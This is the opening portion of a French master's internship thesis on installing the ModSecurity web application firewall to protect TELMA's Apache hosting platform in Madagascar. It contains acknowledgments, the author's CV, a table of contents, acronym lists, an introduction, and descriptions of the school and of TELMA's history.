REMERCIEMENTS

Tout d’abord, j’aimerais remercier le Seigneur DIEU tout puissant, qui m’a accompagné
tout au long de mes années de formation, durant mes stages, et même dans mon quotidien, de
m’avoir encore donné la force et la santé qui m’ont permis d’atteindre cette étape important dans
ma vie et aussi de mener à bien toutes mes réalisations.

Et bien que ça ne soit l'évidence qui le dicte, je tiens à rendre grâce au corps professoral de
l'Ecole Nationale d’ Informatique de Fianarantsoa pour les efforts qu’ils ont fournis afin de garantir
le bon déroulement de mes années de formation au sein de cette prestigieuse école. Je tiens ainsi
à remercier plus particulièrement :

 Docteur RAFAMANTANANTSOA Fontaine, Directeur de l’Ecole Nationale

d’Informatique, pour le soutien et le parrainage qu’il m’a offert durant mes études.
Veuillez retrouver ici le témoignage de mes respects les plus profonds.

 Monsieur SIAKA, président du collège des enseignants, mon encadreur

pédagogique, pour l’aide précieux, les encouragements et le soutien qu’il m’a offert
durant ce stage.

J’adresse aussi, avec tout le respect et l’estime que cela se doit de requérir, mes
remerciements à tous les employés du Groupe TELMA pour l’accueil chaleureuse et la convivialité
que j’ai reçu durant ces six(06) mois de stage au sein dudit, et particulièrement à :

 Monsieur RAKOTONDRAZAKA Manantsoa, Chef du Service Solutions Entreprises et

Internet Service Provider, pour m’avoir accepté en tant que stagiaire et pour son
hospitalité au sein de son équipe.

 Monsieur RALEVAZAHA Nirina Emy, Ingénieur Système au sein du Service Solutions

Entreprises et Internet Service Provider, mon encadreur professionnel, pour tout le
soutien qu’il m’a donné, sa convivialité, ainsi que pour le temps qu’il m’a accordé
malgré ses nombreuses occupations au sein de la société.

 Toute l’équipe du Service Solutions Entreprises et Internet Service Provider, pour les
conseils et les aides qu’ils m’ont offerts, la bonne ambiance de travail dans lequel
ils m’ont intégré et aussi les expériences qu’ils n’ont pas dénié me faire part.

Je tiens aussi à adresser de vifs remerciements à toutes ma famille, à toutes les

personnes, de près ou de loin, qui m’ont aidés et soutenus durant toute ma période de formation

1
et surtout durant la réalisation mon présent mémoire de fin d'études. En particulier, j’adresse mes
remerciements à :

 Mes parents et ma sœur, pour leurs aides, conseils et soutien très précieux car sans
eux, je n’aurai pas pu arriver jusqu’ici et réaliser tous ce que j’ai déjà accomplis
jusqu’ici. Une éternelle reconnaissance pour vous et pour tous ce que vous avez
faits pour moi.

UN GRAND MERCI A TOUS !

2
 CURRICULUM VITAE

ANDRIANTAVISON Dina
21 Juin 1989 à Fianarantsoa

Malagasy

Célibataire

Lot II I 49 ABA Alarobia Amboniloha ANTANANARIVO 101

+261 34 20 039 96 / +261 33 20 039 96

dina.andriantavison@gmail.com

Formations et Diplômes

2012 Ecole Nationale d’Informatique Fianarantsoa

Obtention du Diplôme de Master professionnel (Spécialité : Administration Réseaux & Systèmes)

2011 Etablissement SANTATRA Fianarantsoa

Formation portant sur la sécurité informatique sous Unix

2010 Ecole Nationale d’Informatique Fianarantsoa

Obtention du Diplôme de Licence professionnelle (Spécialité : Administration Réseaux & Systèmes)

2009/2008 Etablissement SANTATRA Fianarantsoa

Formation en administration Systèmes et Réseaux sous Unix

2007 Lycée français René Cassin Fianarantsoa

Baccalauréat Série ES

3
 Expériences professionnelles

2012 Groupe TELMA Antananarivo

Stage ayant pour thème: « Sécurisation de la plate-forme Internet Service Provider »

2011 Ecole Nationale d’Informatique Fianarantsoa

Réalisation d’un projet ayant pour thème : « Administration réseau utilisant le protocole SNMP
avec mise en place de stratégie de sécurité et monitoring utilisant l’outil Cacti »

2010 Data Telecom Service Antananarivo

Stage ayant pour thème: « Mise en place et sécurisation d’un serveur de journalisation
informatique avec ‘SYSLOG-NG’. »

2009 Société Elchimie S.A.R.L. Antananarivo

Réalisation d’un projet ayant pour thème : « Conception et Mise en place d’un réseau local avec
stratégies de communication. »

2009 Ministère de l’Economie et de l’Industrie Antananarivo

Stage ayant pour thème : « Mise en place d’un réseau au sein du Ministère de l’Economie et de
l’Industrie avec un serveur DHCP»

2008 Ecole Nationale d’Informatique Fianarantsoa

Formation « Leadership »

2008 Ecole Nationale d’Informatique Fianarantsoa

Réalisation d’un projet ayant pour thème « Installation et configuration d’un réseau sans fil en
mode Ad hoc »

2008 Ecole Nationale d’Informatique Fianarantsoa

Membre du Comité d’Organisation et Moniteur lors de l’évènement « ICT Event 2008 »

4
 Compétences linguistiques

Langues Compréhension Expression Expression écrite

Française 4 4 3
Anglaise 3 3 3
Grille d’évaluation (0 : très mauvaise ; 1 : mauvaise ; 2 : moyenne ; 3 : bonne ; 4 : excellente)

Compétences informatiques

Disciplines Niveau

Traitement de texte (Libre Office, Open Office, Microsoft Office) 3

Tableur (Libre Office, Open Office, Microsoft Office) 3

Administration de bases de données (Oracle, PostGreSQL, MySQL, SQLite) 2

Programmation (C, Perl, Assembleur, PHP, SQL, JavaScript, HTML, Java) 2

Administration Réseaux 3

Administration Systèmes 3

Maintenance (Matérielles & Logicielles) 3

Technologie Web/Internet (Framework, CSS, XML, UML) 2

Maitrise des Outils (SLAPD, Matlab, Simulink, NSII, Outils de surveillance et 3

de sécurité, Globus, GNS3, Outils de sauvegarde)

Grille d’évaluation (0 : très mauvaise ; 1 : mauvaise ; 2 : moyenne ; 3 : bonne ; 4 : excellente)

Centres d’intérêts

Lecture, Technologie de l’Information et de la Communication, Tennis, Musique

Divers

Membre du Club Linux et Logiciel Libre de Fianarantsoa (C3LF)

5
 SOMMAIRE
REMERCIEMENTS ................................................................................................................................. 1

CURRICULUM VITAE ............................................................................................................................. 3

SOMMAIRE ........................................................................................................................................... 6

LISTE DES ACRONYMES .................................................................................................................... 11

LISTE DES FIGURES ............................................................................................................................. 14

LISTE DES TABLEAUX .......................................................................................................................... 16

INTRODUCTION .................................................................................................................................. 17

PREMIERE PARTIE : PRESENTATION ................................................................................................... 19

I. PRESENTATION DE L’ECOLE NATIONALE D’INFORMATIQUE ..................................................... 20

I.1 Localisation et contact ........................................................................................................... 20

I.2 Missions et historique ............................................................................................................ 20

I.3 Architecture pédagogique...................................................................................................... 21

I.4 Filières de formation existante et diplômes délivres ............................................................. 22

I.5 Organigramme et ressources humaines ................................................................................ 23

I.6 Partenariat.............................................................................................................................. 24

I.6.1 Les stages en entreprise............................................................................................... 24

I.6.2 Son envergure international ........................................................................................ 24

I.7 Projets et perspectives de développement institutionnel (2010-2014) ................................ 25

II. PRESENTATION DU GROUPE TELMA .......................................................................................... 26

II.1 Dimension historique et culturelle de TELMA ....................................................................... 26

II.1.1 Historique et évolution de TELMA ............................................................................... 26

II.1.2 Les composantes du groupe TELMA ............................................................................ 27

II.1.3 Les valeurs de TELMA................................................................................................... 28

II.2 Dimension globale du groupe, de ses projets, de ses objectifs ............................................. 28

6
 II.2.1 Mission et responsabilité de TELMA ............................................................................ 28

II.2.2 Les réalisations de TELMA ............................................................................................ 28

II.2.3 Impacts visés de ces réalisations ................................................................................. 32

II.3 Dimension Humaine et volet Ressources Humaines de TELMA ............................................ 33

II.3.1 Effectifs......................................................................................................................... 33

II.3.2 Organigramme du Groupe TELMA ............................................................................... 34

II.3.3 Organigramme de la direction d’accueil ...................................................................... 35

DEUXIEME PARTIE: ETUDE THEORIQUE DU PROJET .......................................................................... 36

I. NOTION ET DEFINITION ............................................................................................................. 37

I.1 Étymologie.............................................................................................................................. 37

I.2 Qu'est ce qu’une application Web ? ...................................................................................... 37

I.3 Le protocole HTTP/HTTPS ...................................................................................................... 37

I.3.1 Le protocole HTTP ........................................................................................................ 37

I.3.2 Le protocole HTTPS ...................................................................................................... 39

I.4 Le protocole DNS .................................................................................................................... 40

I.5 Le firewall ............................................................................................................................... 40

I.5.1 Définition...................................................................................................................... 40

I.5.2 Fonctionnalités ............................................................................................................. 40

II. LES FIREWALLS D’APPLICATIONS WEB (WAF)............................................................................ 42

II.1 OWASP ................................................................................................................................... 42

II.1.1 Qu’est- ce que l’OWASP ............................................................................................... 42

II.1.2 Les risques répertoriés ................................................................................................. 43

II.1.3 Chiffrage des attaques ................................................................................................. 44

II.2 Qu’est-ce qu’un firewall d’application web ........................................................................... 45

II.2.1 Différence entre Firewall réseau et Firewall Applicatif Web ...................................... 45

7
 II.2.2 La nécessité d’un WAF au sein d’une entreprise ......................................................... 46

II.3 Les solutions de Firewall d’Applications Web. ....................................................................... 46

II.3.1 L’open source ............................................................................................................... 46

II.3.2 Les Firewall application Web open source .................................................................. 46

II.4 Comparaison des différentes solutions ................................................................................. 50

II.4.1 Les critères de comparaison ........................................................................................ 50

II.4.2 Le tableau de comparaison .......................................................................................... 51

II.5 Conclusion partielle ................................................................................................................ 52

TROISIEME PARTIE : ETUDE PRATIQUE DU PROJET ........................................................................... 53

I. IMPLEMENTATION DE MODSECURITY ....................................................................................... 54

I.1 Fiche technique de Modsecurity ............................................................................................ 54

I.1.1 Informations ................................................................................................................. 54

I.1.2 Fonctionnalités ............................................................................................................. 54

I.1.3 Les différentes phases de traitement de ModSecurity ............................................... 54

I.1.4 Fonctionnement de Modsecurity ................................................................................ 55

I.2 Environnement du logiciel ..................................................................................................... 57

I.2.1 Interopérabilité ............................................................................................................ 57

I.2.2 Limitations, difficultés, fonctionnalités importantes non couvertes........................... 57

I.2.3 Plates-formes ............................................................................................................... 57

I.2.4 Eléments de pérennité ................................................................................................. 57

I.3 Etude environnementale du projet........................................................................................ 58

I.3.1 Configurations matérielles ........................................................................................... 58

I.3.2 Schéma de l’infrastructure actuelle ............................................................................. 59

I.3.3 Schéma après implémentation de ModSecurity ......................................................... 61

II. INSTALLATION ET CONFIGURATION .......................................................................................... 62

8
 II.1 Installations ............................................................................................................................ 62

II.1.1 Prérequis ...................................................................................................................... 62

II.1.2 Installation de Modsecurity ......................................................................................... 62

II.1.3 Installation du OWASP Core Rule Set de ModSecurity ................................................ 64

II.2 Configurations ........................................................................................................................ 65

II.2.1 Modification autour de modsecurity ........................................................................... 66

II.2.2 Intégration de modsecurity ......................................................................................... 69

III. TESTS ET PERSPECTIVE D’AMÉLIORATION ................................................................................. 71

III.1 Les tests du firewall ................................................................................................................ 71

III.1.1 TAG 1 : PROTOCOL_VIOLATION / IP_HOST .................................................................. 71

III.1.2 TAG 2 : AUTOMATION/SECURITY_SCANNER ............................................................... 73

III.1.3 TAG3 : WEB_ATTACK/SQL_INJECTION......................................................................... 75

III.1.4 TAG 4 : WEB_ATTACK/FILE_INJECTION ....................................................................... 81

III.2 Les perspectives d’améliorations ........................................................................................... 85

III.2.1 Mod_Proxy ................................................................................................................... 85

III.2.2 Mod_Evasive ................................................................................................................ 85

CONCLUSION ...................................................................................................................................... 87

REFERENCES BIBLIOGRAPHIQUE ........................................................................................................ 88

REFERENCES WEBOGRAPHIQUE ........................................................................................................ 90

CAHIER DE CHARGES .......................................................................................................................... 94

GLOSSAIRE .......................................................................................................................................... 97

Annexe 1 : Document sur OWASP ................................................................................................... 100

Annexe 2 : Contenu du fichier de configuration de ModSecurity .................................................. 102

Annexe 3 : Les règles de ModSecurity ............................................................................................. 111

Annexe 4 : Code source de la page « sql_inj.php » ......................................................................... 113

9
Annexe 5 : Code source de la page « test.php ».............................................................................. 114

Annexe 6 : Code source de la page « Index.html » personnalisée .................................................. 115

RESUME ............................................................................................................................................ 116

ABSTRACT ......................................................................................................................................... 117

10
 LISTE DES ACRONYMES

1- BAD : Banque Africaine pour le Développement

2- BOF : Buffer Over Flow

3- CCNA : Cisco Certified Network Associate

4- CDMA : Code Division Multiple Access

5- CMS : Content Management Access (système de gestion de contenu)

6- CSS : Cascading style Sheet

7- DEA : Diplôme d’Etude Approfondie

8- DMZ : De-Militarized Zone (zone dématérialisée)

9- DNS : Domain Name System (système de noms de domaine)

10- DOD : Direct of Die (Type de montage de refroidissement de matériel informatique)

11- DOS : Deny Of Service

12- XDSL: xDigital Subscriber Line

13- DTS: Data Telecom Service

14- EASSy: Eastern Africa Submarin System

15- ENI : Ecole Nationale d’Informatique

16- ESAPI: Entreprise Security API

17- FAQ : Frequently Asqued Question (Foire aux questions)

18- FCR: France Câble Radio

19- GSM: Global System for Mobile

20- HTML : HyperText Markup Language

21- HTTP: HyperText Transfer Protocol

22- HTTPS: HyperText Transfer Protocol Secured

23- ID: Identification

11
24- IDS : Intrusion Detection System

25- INPG: Institut National Polytechnique de Grenoble

26- IP: Internet Protocol

27- IRD: Institut de Recherche pour le Développement

28- MAN: Metropolitain Area Network

29- MMS: Multimedia Messaging Service

30- MVC : Model View Controller

31- OSI: Open Source Initiative

32- OWASP: Open Web Application Security Project

33- PCI: Peripheral Component Interconnect

34- PHP : Hypertext Preprocessor

35- PMI: petites et moyennes entreprises

36- RFI : Remote file inclusion

37- RNIS : Réseau numérique à Intégration de Services

38- SSL: Secure Sockets Layer

39- SMS: Short Message Service

40- STIC: Sciences et Technologies de l’Information et de la Communication

41- SQL : Structured Query Langage

42- SSO : Single Sign On

43- TCP : Transmission Control Protocol

44- TELMA : TELecom MAlagasy

45- TLS : Transport Layer Security

46- UDP : User Datagram Protocol (protocole de datagramme utilisateur)

47- URL: Uniform Resource Locator

48- VOD: Video-on-Demand

12
49- VSAT: Very Small Aperture Terminal

50- WAF: Web Application Firewall

51- WWW: World Wide Web

52- XSS : cross-site scripting

13
 LISTE DES FIGURES

Figure 1: Organigramme de l'ENI ....................................................................................................... 23

Figure 2: Organigramme de TELMA ................................................................................................... 34

Figure 3: Organigramme de la Direction Technique Groupe ............................................................. 35

Figure 4: Schématisation de l'architecture 3-tiers ............................................................................ 37

Figure 5: Modélisation de la communication entre un client et un serveur Web ............................ 38

Figure 6: Les failles du firewall réseau ............................................................................................... 41

Figure 7: Classement des 5 attaques les plus fréquentes sur le Web ............................................... 45

Figure 8: Page d'accueil du site de ModSecurity ............................................................................... 47

Figure 9: Page d'accueil du site de AQTRONIX Webknight ................................................................ 47

Figure 10: Page d'accueil du site de ESAPI WAF ............................................................................... 48

Figure 11: Page d'accueil du site de WebCasstellum ......................................................................... 48

Figure 12: Page d'accueil du site de Guardian@JUMPERZ.NET......................................................... 49

Figure 13: Page d'accueil du site de IRONBEE ................................................................................... 49

Figure 14: Page d'accueil du site de NAXSI ........................................................................................ 49

Figure 15: Schématisation de l'infrastructure actuelle ...................................................................... 60

Figure 16: Schématisation de la nouvel infrastructure avec ModSecurity ........................................ 61

Figure 17: Résultat de la commande "ls -la activated_rules" ........................................................... 69

Figure 18: les modifications du fichier "httpd.conf" ......................................................................... 70

Figure 19: Schématisation d'une attaque du type PROTOCOL_VIOLATION/IP_HOST ...................... 71

Figure 20: La page "index.htlm" personnalisée ................................................................................. 72

Figure 21: Page obtenue en réponse d'une requête bloquée ........................................................... 72

Figure 22: Schématisation d'une attaque du type AUTOMATION/SECURITY_SCANNER .................. 74

Figure 23: Capture d'écran du résultat de l'attaque sans ModSecurity ............................................ 74

14
Figure 24: Capture d'écran du résultat de l'attaque avec ModSecurity actif .................................... 75

Figure 25: Aperçu du contenu du dossier de Python v2.7 ................................................................. 77

Figure 26: Aperçu du contenu du dossier de SQLmap ....................................................................... 77

Figure 27: Fenêtre principale de SQL Map v0.1 ................................................................................. 78

Figure 28: Aperçu de la fenêtre de SQLMap prêt à simuler l'attaque ............................................... 79

Figure 29: Capture d'écran du fichier access.log d’Apache ............................................................... 79

Figure 30: Capture d'écran du fichier error.log d'Apache ................................................................. 80

Figure 31: Schématisation de l'attaque WEB_ATTACK/FILE_INJECTION ........................................... 82

Figure 32: Capture d'écran du résultat de l'attaque FILE_INJECTION sans ModSecurity ................. 83

Figure 33: Page d'accès non autorisé d'Apache................................................................................. 83

15
 LISTE DES TABLEAUX

Tableau 1: Outils de production de TELMA ....................................................................................... 30

Tableau 2: TOP 10 des vulnérabilités des applications Web ............................................................. 44

Tableau 3: Tableau de comparaison des WAF ................................................................................... 51

16
 INTRODUCTION

Le Web est devenu au fil du temps, un outil de travail innovant et indispensable pour
n'importe quelle personne opérant dans n'importe quel domaine. Il permet d'affranchir d'une
manière miraculeuse et sans frontières des barrières de l'espace et du temps en transmettant
toute information numérique de manière instantanée et précise dans le monde entier. Les
organisations, aussi bien publiques que privées, possèdent toutes ou presque une vitrine
accessible au monde extérieur.

Les serveurs ont également évolué et ne sont plus de simples machines se limitant au
stockage d'informations. En effet, ils sont utilisés, entre-autres, pour exécuter des programmes en
ligne, héberger des sites ou encore des bases de données pouvant contenir des informations
sensibles.

Les serveurs sont régulièrement victimes d'attaques visant soit à les rendre défaillants soit
à accéder aux données sensibles qu'ils contiennent. Il est devenu primordial de les protéger contre
des actes malveillants.

Au sein de la société TELMA, qui a une très grande envergure au niveau national et qui
œuvre dans plusieurs domaines de la communication, l’utilisation des outils d’intercommunication
et de production web sont dans les habitudes quotidiennes. Ainsi en tant que fournisseur d’accès
internet, TELMA possède une espace d’hébergement web, gérée par le service que j’ai intégré
durant mon stage, et est aussi exposé aux différentes attaques extérieures. Pour satisfaire les
clients en terme de fiabilité de service, Mon encadreur professionnel m’a donc proposé de
travailler sur la sécurisation de la Plateforme « Internet Service Provider» pour un contrat de
six(06) mois, et plus précisément sur :

« La mise en place d’un Web Application Firewall pour le serveur Apache »

A travers ce stage de fin d'études, je suis donc amené à répondre à une question
primordiale qui est la suivante:

Pourquoi l’installation d’un Web Application Firewall est-elle une nécessité au sein de
l’infrastructure web de l’entreprise ?

17
 Ce qui nous amène donc à diviser ce rapport en trois parties bien distinctes. Dans un
premier temps, nous allons effectuer une présentation de l’ENI et ensuite nous allons présenter la
société d’accueil qui est TELMA. Dans une seconde partie, nous passerons à une étude théorique
du projet en essayant de détailler les différents termes du sujet et aboutir à une solution choisie
concernant le Web Application Firewall à installer. Pour clore ce rapport, dans une troisième
partie, nous verrons donc la mise en place du WAF avec les différentes étapes d’installation et de
configuration et enfin les étapes de test effectuées pour prouver l’efficacité de l’infrastructure.

18
PREMIERE PARTIE : PRESENTATION

19
I. PRESENTATION DE L’ECOLE NATIONALE D’INFORMATIQUE

I.1 Localisation et contact

L’Ecole Nationale d’Informatique ou ENI siège à Tanambao Fianarantsoa, boîte postale 1487
Fianarantsoa 301. Joignable par téléphone au 75 508 01 et par adresse électronique à l’adresse
eni@univ-fianar.mg.

I.2 Missions et historique

L’ENI de l’Université de Fianarantsoa constitue à l’heure actuelle la pépinière des élites
informaticiennes malgaches. On peut considérer cette Ecole Supérieure comme la vitrine et la
mesure de l’avancée technologique du Pays.

Elle se positionne dans le système socio-éducatif malgache comme le plus puissant vecteur de
diffusion et de vulgarisation des connaissances et des technologies informatiques.

Créée par le Décret N° 83 185 du 24 mai 1983, elle est le seul Etablissement universitaire
professionnalisé du pays ayant pour mission de former des Techniciens Supérieurs, des Licenciés
en informatique et des Ingénieurs informaticiens de haut niveau, aptes à répondre aux besoins et
exigences d’informatisation des entreprises, des sociétés et des organismes implantés à
Madagascar.

L’implantation de cette Ecole Supérieure de technologie de pointe dans un pays en voie de

développement et dans une province à tissu économique et industriel faiblement développé, ne
l’ont pourtant pas empêché de former des spécialistes informaticiens de bons niveaux recherchés
par les sociétés et les organismes.

Depuis sa création jusqu’à aujourd’hui, l’ENI placée sous la tutelle de l’Université de

Fianarantsoa a formé et déversé sur le marché de l’emploi :

 13 promotions d’Analystes Programmeurs, soit 447 diplômés.

 24 promotions d’Ingénieurs Informaticiens, soit 649 diplômés.

 13 promotions de Techniciens Supérieurs en Maintenance des Systèmes Informatiques,

soit 310 diplômés.

 Promotion licencié : 101 diplômés.

Soit en tout 1507 diplômés.

20
 La filière de formation d’Analystes Programmeurs a été créée en 1983, et a été gelée par la
suite en 1996.La filière de formation d’ingénieurs a été ouverte à l’Ecole en 1996.La filière de
formation de Techniciens Supérieurs en Maintenance des Systèmes Informatiques a été mise en
place à l’Ecole en 1996 grâce à l’appui matériel et financier de la Mission Française de Coopération
dans le cadre du Programme de Renforcement de l’Enseignement Supérieur (PRESUP).

Une formation pour l’obtention de la certification CCNA et/ou Network+, appelée « Cisco
Networking Academy à Madagascar », en 2002-2003, a été créé grâce au partenariat avec Cisco
System et l’Ecole Supérieure Polytechnique d’Antananarivo (ESPA). Cette formation n’existe plus
actuellement. Une formation doctorale a été ouverte depuis l’année universitaire 2003-2004 avec
une parfaite coopération entre l’Université de Fianarantsoa (ENI) et celle de Toulouse. Finalement
une formation en licence professionnelle en informatique ayant comme options (Administration
des systèmes et des réseaux, génie logiciel et base de données) a été ouverte pendant l’année
universitaire 2007-2008.La filière de formation de Techniciens Supérieurs en Maintenance des
Systèmes Informatiques a été gelée en 2008.

I.3 Architecture pédagogique

L’ENI forme des Licenciés et des Ingénieurs directement opérationnels au terme de leur
formation respective. Ce qui oblige l’Ecole à entretenir des relations de collaboration étroites et
permanentes avec les entreprises et le monde professionnel de l’Informatique à Madagascar.

La responsabilité de l’Ecole pour cette professionnalisation des formations dispensées

implique de :

 Suivre les progrès technologiques et méthodologiques en Informatique (recherche

appliquée, veille technologique, technologies Réseau, Multimédia, Internet,…).

 Prendre en considération dans les programmes de formation les besoins évolutifs des
entreprises et des autres utilisateurs effectifs et potentiels, de la technologie informatique.

Cependant la professionnalisation ne peut se faire en vase close ; elle exige une «orientation
client » et une « orientation marché ». Ce sont les entreprises qui connaissent le mieux leurs
besoins en personnel informatique qualifié. Ces entreprises partenaires collaborent avec l’ENI en
présentant des pistes et des recommandations pour aménager et réactualiser périodiquement les
programmes de formation. Ainsi, dans le cadre de ce partenariat avec les sociétés dans les divers
bassins d’emploi en Informatique, elle offre sur le marché de l’emploi des cadres de bon niveau, à
jour et directement opérationnels.

21
 L’architecture des programmes pédagogiques à l’Ecole s’appuie sur le couple théorie-pratique :

 Des enseignements théoriques et pratiques de haut niveau sont dispensés intra-muros à

l’Ecole,

 Des voyages d’études sont effectués par les étudiants nouvellement inscrits et ayant passé
une année d’études à l’Ecole,

 Des stages d’application et d’insertion professionnelle sont pratiqués en entreprise chaque

année par les étudiants au terme de chaque formation académique à l’Ecole.

Les stages effectués en entreprise par les étudiants de l’ENI sont principalement des stages de
pré embauche. Ces stages pratiques font assurer l’Ecole d’un taux moyen d’embauche de 97%, six
mois après la sortie de chaque promotion de diplômés.

I.4 Filières de formation existante et diplômes délivres

Cycle licence en informatique spécialisé en administration des systèmes et des réseaux, puis en
génie logiciel et base de données, aboutissant au Diplôme Universitaire de licenciés
informaticiens. L’effectif des étudiants en année universitaire 2011 – 2012:

 L1 (Première année de Licence) : 100

 L2 (Deuxième année de Licence) : 101

 L3 (Troisième année de Licence) : 62

 M1 (Première année en Master) : 100

Cycle de formation d’Ingénieurs Informaticiens avec de compétences en Gestion, Systèmes et

réseaux, de niveaux Baccalauréat + 5 ans.

La formation en DEA en informatique organisée en partenariat avec l’Université Paul Sabatier

de Toulouse. Les trois meilleurs étudiants de la promotion effectuent les travaux de recherche à
Toulouse. Cette formation est un élément du système de formation de troisième cycle et d’études
doctorales qui sera mise en place progressivement à l’ENI.

Une formation non diplômant en CISCO ACADEMY, soutenue par les Américains, avec
certification CCNA. Les effectifs des étudiants dans le système depuis sa création :

 CISCO Première promotion 2002/2003 : 28

 CISCO Deuxième promotion 2003/2004 : 5.

22
 Le recrutement d’étudiants à l’ENI se fait chaque année uniquement par voie de concours
d’envergure nationale, excepté celui concernant le « Cisco Académie » et celui de la DEA, qui font
l’objet de sélections des dossiers de candidature.

Bien qu’il n’existe pas au niveau international de reconnaissance écrite et formelle des
diplômes délivrés par l’ENI, les diplômés de l’Ecole sont bien accueillis dans les Institutions
universitaires étrangères. Des étudiants diplômés de l’Ecole poursuivent actuellement leurs études
supérieures en 3ème cyclé dans plusieurs Universités françaises, notamment à l’IREMIA de
l’Université de la Réunion, à l’Université LAVAL au Canada, à l’Ecole Polytechnique Fédérale de
Lausanne en SUISSE, à l’Ecole Doctorale STIC (Science de la Technologie de l’Information et de la
communication) de l’Ecole Supérieure en Science Informatique de l’Université de Nice Sophia
Antipolis.

I.5 Organigramme et ressources humaines

Figure 1: Organigramme de l'ENI

 Directeur : Docteur Fontaine RAFAMANTANANTSOA

 Chef de Département de la Formation Théorique : Docteur Venot RATIARSON

 Chef de Département de la Formation Pratique : Docteur Cyprien RAKOTOASIMBAHOAKA

 Nombre d’Enseignants permanents : 12

 Nombre d’Enseignants vacataires : 10

 Personnel administratif et technique : 19

23
I.6 Partenariat

I.6.1 Les stages en entreprise

Les stages pratiqués chaque année par ses étudiants mettent l’Ecole en relation
permanente avec plus de 300 entreprises, sociétés et organismes publics et privés nationaux et
internationaux. Parmi ces Etablissements, on peut citer : ACCENTURE Maurice, AIR Madagascar,
AMBRES ASSOCIATES, ATW, AUF, B2B, Banque Centrale, BFV-SG, BIANCO, BLUELINE, BNI, BOA,
CEDII Fianarantsoa, CEM, Central Test, Centre Mandrosoa Ambositra, CNA, CNRIT, COLAS,
COPEFRITO, Data Consulting, PHARMACIE DES PLATEAUX Fianarantsoa, D.G. Douanes Tana, DLC,
DTS, FID, FTM, GNOSYS, IBONIA, IFIR des paramédicaux Fianarantsoa, INGENOSYA, INSTAT, IOGA,
JIRAMA, Lazan’i Betsileo, MADADEV, MADARAIL, MAEP, MECI, MEF, MEN, MESRES, MFB, MIC,
MICROTEC,MINFOPTLS, MININTER, MIN Télécom et Nouvelles technologies, NEOV MADA, NY
HAVANA, OMNITEC, ORANGE , OTME, PRACCESS, QMM Fort-Dauphin, SECREN, SIMICRO,
SNEDADRS Antsirabe, Société d’Exploitation du port de Toamasina, Softewell, Strategy Consulting,
TACTI, TELMA , AIRTEL, WWF,…

L’organisation de stages en entreprise contribue non seulement à assurer une meilleure

professionnalisation des formations dispensées, mais elle accroît également de façon
exceptionnelle les opportunités d’embauche pour les diplômés. Les diplômés de l’ENI sont
recrutés non seulement par des entreprises et organismes nationaux, mais ils sont aussi
embauchés dans des organismes de coopération internationale tels que l’USAID MADAGASCAR, la
Délégation de la Commission Européenne, la Banque Africaine de Développement (BAD), la
Mission Résidente de la Banque Mondiale, la Commission de l’Océan Indien, etc.

I.6.2 Son envergure international

Entre 1996 et 1999, l’ENI a bénéficié de l’assistance technique et financière de la Mission
Française de Coopération et d’Action Culturelle dans le cadre du PRESUP. La composante du
PRESUP consacré à l’ENI a notamment porté sur :

 Une dotation en logiciels, microordinateurs, équipements de laboratoire de maintenance

et de matériels didactiques ;

 La réactualisation des programmes de formation assortie du renouvellement du fond de la

bibliothèque ;

 L’appui à la formation des formateurs ;

 L’affectation à l’Ecole d’Assistants techniques français.

24
 Et depuis le mois de mai 2000, l’ENI fait partie des membres de bureau de la Conférence
Internationale des Ecoles de formations d’Ingénieurs et Techniciens d’Expression Française
(CITEF).

L’ENI a signé un Accord de coopération interuniversitaire avec l’IREMIA de l’Université de la

Réunion, l’Université de RENNES 1 et l’Institut National Polytechnique de Grenoble (INPG).

Depuis le mois de juillet 2001, l’ENI abrite le Centre du Réseau Opérationnel (Network
Operating Center) du point d’accès à internet de l’Ecole et de l’Université de Fianarantsoa. Grâce à
ce projet américain financé par l’USAID Madagascar, l’ENI et l’Université de Fianarantsoa sont
maintenant dotées d’une Ligne Spécialisée d’accès permanent à INTERNET. Par ailleurs, depuis
2002, une nouvelle branche à vocation professionnelle a pu y être mise en place, en partenariat
avec Cisco System.

Enfin et non de moindres, l’ENI a noué des relations de coopération avec l’Institut de
Recherche pour le Développement (IRD). L’objet de la coopération porte sur la Modélisation
environnementale du corridor forestier de Fianarantsoa. Dans le même cadre, un atelier
scientifique international sur la modélisation des paysages a été organisé à l’ENI au mois de
Septembre 2008.

Comme l’ENI constitue une pépinière incubatrice de technologie de pointe, d’emplois et

d’entreprises, elle peut servir d’instrument efficace pour la lutte contre la pauvreté. De même que
l’Ecole permet de renforcer la position concurrentielle de la Grande île sur l’orbite de la
mondialisation grâce au développement des nouvelles technologies.

I.7 Projets et perspectives de développement institutionnel (2010-2014)

 Restructuration du système pédagogique de l’Ecole selon le schéma LMD (Licence Master
Doctorat)

 Mise en place à l’Ecole d’un Département de Formation de 3ème cycle et d’études

doctorales en Informatique,

 Création à l’Ecole d’une Unité de Production Multimédia, d’un club de logiciel libre.

25
II. PRESENTATION DU GROUPE TELMA

II.1 Dimension historique et culturelle de TELMA

II.1.1 Historique et évolution de TELMA

 Naissance de TELMA

1896 : Première ligne de services téléphoniques à Antananarivo

1904 : Mise en place de cabines téléphoniques publiques à Antananarivo

1971 : L’Etat malgache et France Câble Radio créent Stimad pour gérer les appels
internationaux

 TELMA : TELecom Malagasy

1995 : Création de la société DTS par TELMA et France Câble Radio (FCR) :
Avènement de l’internet à Madagascar

1996 : TELMA offre les infrastructures nécessaires au lancement d’Antaris (Orange)

1997 : TELMA offre les infrastructures nécessaires au lancement de Madacom

(Airtel)

1998 : Numérisation du réseau téléphonique (RNIS)

2000 : TELMA offre les infrastructures pour la mise en place et l’exploitation du

VSAT

2001 : Lancements de l’appel d’offres de privatisation : Distacom retenu

2004 : Signature du contrat définitif de privatisation

2005 : TELMA met en place les infrastructures pour l’ADSL

Lancement du chantier Backbone national

Mise en place des premiers centres d’appels : Lancement du CDMA (Fixe

sans fil)

 Lancement de TELMA Mobile

2006 : Mise en place du réseau métropolitain d’Antananarivo en fibres optiques

 Rebranding de TELMA : Fixe-Mobile-Internet

26
 2007 : Lancement du GPRS/EDGE : TELMA met en place les infrastructures pour le
SDSL

Le Fournisseur d’Accès Internet « Wanadoo » devient « MOOV »

 Finalisation du backbone National

2008 : Lancement du BlackBerry

1 000 000 d’abonnés

Inauguration du Backbone National en Fibre Optique

 Lancement du réseau 3G+

2009 : Lancement du premier réseau 3G+ de Madagascar

 Connexion à EASSy – Lancement du Mobile Money

2010 : Connexion à EASSy et premier contrat IRU

MVola : Lancement du premier service bancaire mobile à Madagascar

TELMA lance le 1er MVNO de Madagascar avec Blueline.

II.1.2 Les composantes du groupe TELMA

Le Groupe TELMA se compose actuellement de quatre sociétés bien distinctes :

